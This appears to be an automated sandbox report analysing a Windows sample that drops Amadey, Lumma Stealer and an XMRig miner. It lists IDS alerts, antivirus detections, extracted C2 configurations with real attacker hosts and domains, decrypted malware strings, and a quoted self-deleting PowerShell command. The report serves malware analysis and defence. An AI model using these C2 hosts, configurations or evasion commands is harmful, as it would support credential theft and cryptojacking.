Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell ping 127.0.0.1; del in.exe, CommandLine: powershell ping 127.0.0.1; del in.exe, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "in.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\main\in.exe, ParentProcessId: 4336, ParentProcessName: in.exe, ProcessCommandLine: powershell ping 127.0.0.1; del in.exe, ProcessId: 2992, ProcessName: powershell.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T18:16:18.652930+0100	2028371	3	Unknown Traffic	192.168.2.4	49787	104.21.67.146	443	TCP
2024-12-21T18:16:20.392073+0100	2028371	3	Unknown Traffic	192.168.2.4	49789	104.21.67.146	443	TCP
2024-12-21T18:16:22.797058+0100	2028371	3	Unknown Traffic	192.168.2.4	49795	104.21.67.146	443	TCP
2024-12-21T18:16:25.163092+0100	2028371	3	Unknown Traffic	192.168.2.4	49805	104.21.67.146	443	TCP
2024-12-21T18:16:27.456948+0100	2028371	3	Unknown Traffic	192.168.2.4	49812	104.21.67.146	443	TCP
2024-12-21T18:16:30.857043+0100	2028371	3	Unknown Traffic	192.168.2.4	49819	104.21.67.146	443	TCP
2024-12-21T18:16:33.387067+0100	2028371	3	Unknown Traffic	192.168.2.4	49828	104.21.67.146	443	TCP
2024-12-21T18:16:36.973348+0100	2028371	3	Unknown Traffic	192.168.2.4	49841	104.21.67.146	443	TCP
2024-12-21T18:17:09.131915+0100	2028371	3	Unknown Traffic	192.168.2.4	49925	172.67.180.113	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T18:16:19.079818+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49787	104.21.67.146	443	TCP
2024-12-21T18:16:21.179986+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49789	104.21.67.146	443	TCP
2024-12-21T18:16:37.753367+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49841	104.21.67.146	443	TCP
2024-12-21T18:17:09.877863+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49925	172.67.180.113	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T18:16:19.079818+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49787	104.21.67.146	443	TCP
2024-12-21T18:17:09.877863+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49925	172.67.180.113	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T18:16:21.179986+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49789	104.21.67.146	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T18:16:18.998808+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49786	185.215.113.43	80	TCP
2024-12-21T18:16:25.263589+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49802	185.215.113.43	80	TCP
2024-12-21T18:16:31.724623+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49820	185.215.113.43	80	TCP
2024-12-21T18:16:43.923917+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49860	185.215.113.43	80	TCP
2024-12-21T18:16:56.505804+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49888	185.215.113.43	80	TCP
2024-12-21T18:17:05.085213+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49910	185.215.113.43	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T18:16:25.995967+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49805	104.21.67.146	443	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T18:16:07.327276+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49753	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T18:16:17.502622+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49764	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T18:16:12.035751+0100	2803305	3	Unknown Traffic	192.168.2.4	49770	31.41.244.11	80	TCP
2024-12-21T18:16:20.449016+0100	2803305	3	Unknown Traffic	192.168.2.4	49788	31.41.244.11	80	TCP
2024-12-21T18:16:26.712520+0100	2803305	3	Unknown Traffic	192.168.2.4	49808	31.41.244.11	80	TCP
2024-12-21T18:16:33.170187+0100	2803305	3	Unknown Traffic	192.168.2.4	49826	31.41.244.11	80	TCP
2024-12-21T18:16:45.380105+0100	2803305	3	Unknown Traffic	192.168.2.4	49866	31.41.244.11	80	TCP
2024-12-21T18:16:57.951070+0100	2803305	3	Unknown Traffic	192.168.2.4	49893	31.41.244.11	80	TCP
2024-12-21T18:17:07.754208+0100	2803305	3	Unknown Traffic	192.168.2.4	49922	31.41.244.11	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-21T18:16:33.391504+0100	2843864	1	A Network Trojan was detected	192.168.2.4	49828	104.21.67.146	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Avira: detection malicious, Label: HEUR/AGEN.1352802
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Avira: detection malicious, Label: HEUR/AGEN.1352802
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen

Found malware configuration

Source: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 0000002F.00000002.2988093513.0000000001100000.00000002.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: LummaC {"C2 url": ["discokeyus.lat", "crosshuaht.lat", "sustainskelet.lat", "necklacebudi.lat", "energyaffai.lat", "rapeflowwj.lat", "grannyejh.lat", "aspecteirs.lat", "treehoneyi.click"], "Build id": "rAGxSF--load"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	ReversingLabs: Detection: 27%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	ReversingLabs: Detection: 86%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	ReversingLabs: Detection: 56%
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe	ReversingLabs: Detection: 86%
Source: C:\Users\user\AppData\Local\Temp\1019527001\ed15fdf974.exe	ReversingLabs: Detection: 27%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	ReversingLabs: Detection: 69%
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	ReversingLabs: Detection: 69%

Multi AV Scanner detection for submitted file

Source: file.exe	Virustotal: Detection: 54%			Perma Link
Source: file.exe	ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0000002F.00000002.2988093513.0000000001100000.00000002.00001000.00020000.00000000.sdmp	String decryptor: rapeflowwj.lat
Source: 0000002F.00000002.2988093513.0000000001100000.00000002.00001000.00020000.00000000.sdmp	String decryptor: crosshuaht.lat
Source: 0000002F.00000002.2988093513.0000000001100000.00000002.00001000.00020000.00000000.sdmp	String decryptor: sustainskelet.lat
Source: 0000002F.00000002.2988093513.0000000001100000.00000002.00001000.00020000.00000000.sdmp	String decryptor: aspecteirs.lat
Source: 0000002F.00000002.2988093513.0000000001100000.00000002.00001000.00020000.00000000.sdmp	String decryptor: energyaffai.lat
Source: 0000002F.00000002.2988093513.0000000001100000.00000002.00001000.00020000.00000000.sdmp	String decryptor: necklacebudi.lat
Source: 0000002F.00000002.2988093513.0000000001100000.00000002.00001000.00020000.00000000.sdmp	String decryptor: discokeyus.lat
Source: 0000002F.00000002.2988093513.0000000001100000.00000002.00001000.00020000.00000000.sdmp	String decryptor: grannyejh.lat
Source: 0000002F.00000002.2988093513.0000000001100000.00000002.00001000.00020000.00000000.sdmp	String decryptor: treehoneyi.click
Source: 0000002F.00000002.2988093513.0000000001100000.00000002.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 0000002F.00000002.2988093513.0000000001100000.00000002.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 0000002F.00000002.2988093513.0000000001100000.00000002.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 0000002F.00000002.2988093513.0000000001100000.00000002.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 0000002F.00000002.2988093513.0000000001100000.00000002.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 0000002F.00000002.2988093513.0000000001100000.00000002.00001000.00020000.00000000.sdmp	String decryptor: rAGxSF--load

Source: 1b73492cb0.exe, 0000002D.00000003.2832287597.0000000007546000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_f81a8efa-4

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: 48.3.Intel_PTT_EK_Recertification.exe.131c27b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.3.Intel_PTT_EK_Recertification.exe.17227910000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 48.3.Intel_PTT_EK_Recertification.exe.131c27b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.3.Intel_PTT_EK_Recertification.exe.17227910000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000028.00000002.2781226927.000000014040B000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.2780527209.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.2780527209.0000000000B5A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.2781133472.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000003.2774998618.0000017227910000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000003.2926529139.00000131C27B0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Intel_PTT_EK_Recertification.exe PID: 1808, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 1800, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Intel_PTT_EK_Recertification.exe PID: 5324, type: MEMORYSTR

Found strings related to Crypto-Mining

Source: Intel_PTT_EK_Recertification.exe, 00000027.00000003.2774998618.0000017227910000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: Intel_PTT_EK_Recertification.exe, 00000027.00000003.2774998618.0000017227910000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: cryptonight/0
Source: Intel_PTT_EK_Recertification.exe, 00000027.00000003.2774998618.0000017227910000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: -o, --url=URL URL of mining server
Source: Intel_PTT_EK_Recertification.exe, 00000027.00000003.2774998618.0000017227910000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Directory created: C:\Program Files\Google\Chrome\Extensions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Directory created: C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Directory created: C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5fzip	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Directory created: C:\Program Files\Windows Media Player\graph	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Directory created: C:\Program Files\Windows Media Player\graph\graph.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Directory created: C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Directory created: C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5fzip

Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.17.46:443 -> 192.168.2.4:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.17.46:443 -> 192.168.2.4:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.17.65:443 -> 192.168.2.4:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.17.65:443 -> 192.168.2.4:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.4:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.4:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49861 version: TLS 1.2

Source:	Binary string: D:\exe\final\final\graph\x64\Release\graph.pdb% source: 6eea3e30e9.exe, 0000000C.00000003.2674626766.00000247A0680000.00000004.00000020.00020000.00000000.sdmp, graph.exe, 0000000E.00000002.2987242704.00007FF7EDAB9000.00000002.00000001.01000000.0000000E.sdmp, graph.exe, 0000000E.00000000.2674897514.00007FF7EDAB9000.00000002.00000001.01000000.0000000E.sdmp, graph.exe, 00000010.00000000.2698018122.00007FF7EDAB9000.00000002.00000001.01000000.0000000E.sdmp, graph.exe, 00000010.00000002.2986807118.00007FF7EDAB9000.00000002.00000001.01000000.0000000E.sdmp, graph.exe, 00000026.00000002.2986951366.00007FF7EDAB9000.00000002.00000001.01000000.0000000E.sdmp, graph.exe, 00000026.00000000.2766666306.00007FF7EDAB9000.00000002.00000001.01000000.0000000E.sdmp, graph.exe, 0000002E.00000002.2987477077.00007FF7EDAB9000.00000002.00000001.01000000.0000000E.sdmp, graph.exe, 0000002E.00000000.2848079975.00007FF7EDAB9000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: D:\exe\final\merged_final\x64\Release\fetcher2.pdb source: 6eea3e30e9.exe, 0000000C.00000002.2716799079.00007FF7ECDD0000.00000002.00000001.01000000.0000000D.sdmp, 6eea3e30e9.exe, 0000000C.00000000.2570471769.00007FF7ECDD0000.00000002.00000001.01000000.0000000D.sdmp, 6eea3e30e9.exe, 0000000D.00000002.2738064179.00007FF7ECDD0000.00000002.00000001.01000000.0000000D.sdmp, 6eea3e30e9.exe, 0000000D.00000000.2577423521.00007FF7ECDD0000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: D:\exe\final\merged_final\x64\Release\fetcher2.pdb[ source: 6eea3e30e9.exe, 0000000C.00000002.2716799079.00007FF7ECDD0000.00000002.00000001.01000000.0000000D.sdmp, 6eea3e30e9.exe, 0000000C.00000000.2570471769.00007FF7ECDD0000.00000002.00000001.01000000.0000000D.sdmp, 6eea3e30e9.exe, 0000000D.00000002.2738064179.00007FF7ECDD0000.00000002.00000001.01000000.0000000D.sdmp, 6eea3e30e9.exe, 0000000D.00000000.2577423521.00007FF7ECDD0000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewTextV2.pdb source: skotes.exe, 00000006.00000002.2990887486.0000000000C17000.00000004.00000020.00020000.00000000.sdmp, random[2].exe1.6.dr
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewTextV2.pdbdj~j pj_CorExeMainmscoree.dll source: skotes.exe, 00000006.00000002.2990887486.0000000000C17000.00000004.00000020.00020000.00000000.sdmp, random[2].exe1.6.dr
Source:	Binary string: D:\exe\final\final\graph\x64\Release\graph.pdb source: 6eea3e30e9.exe, 0000000C.00000003.2674626766.00000247A0680000.00000004.00000020.00020000.00000000.sdmp, graph.exe, 0000000E.00000002.2987242704.00007FF7EDAB9000.00000002.00000001.01000000.0000000E.sdmp, graph.exe, 0000000E.00000000.2674897514.00007FF7EDAB9000.00000002.00000001.01000000.0000000E.sdmp, graph.exe, 00000010.00000000.2698018122.00007FF7EDAB9000.00000002.00000001.01000000.0000000E.sdmp, graph.exe, 00000010.00000002.2986807118.00007FF7EDAB9000.00000002.00000001.01000000.0000000E.sdmp, graph.exe, 00000026.00000002.2986951366.00007FF7EDAB9000.00000002.00000001.01000000.0000000E.sdmp, graph.exe, 00000026.00000000.2766666306.00007FF7EDAB9000.00000002.00000001.01000000.0000000E.sdmp, graph.exe, 0000002E.00000002.2987477077.00007FF7EDAB9000.00000002.00000001.01000000.0000000E.sdmp, graph.exe, 0000002E.00000000.2848079975.00007FF7EDAB9000.00000002.00000001.01000000.0000000E.sdmp

Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation
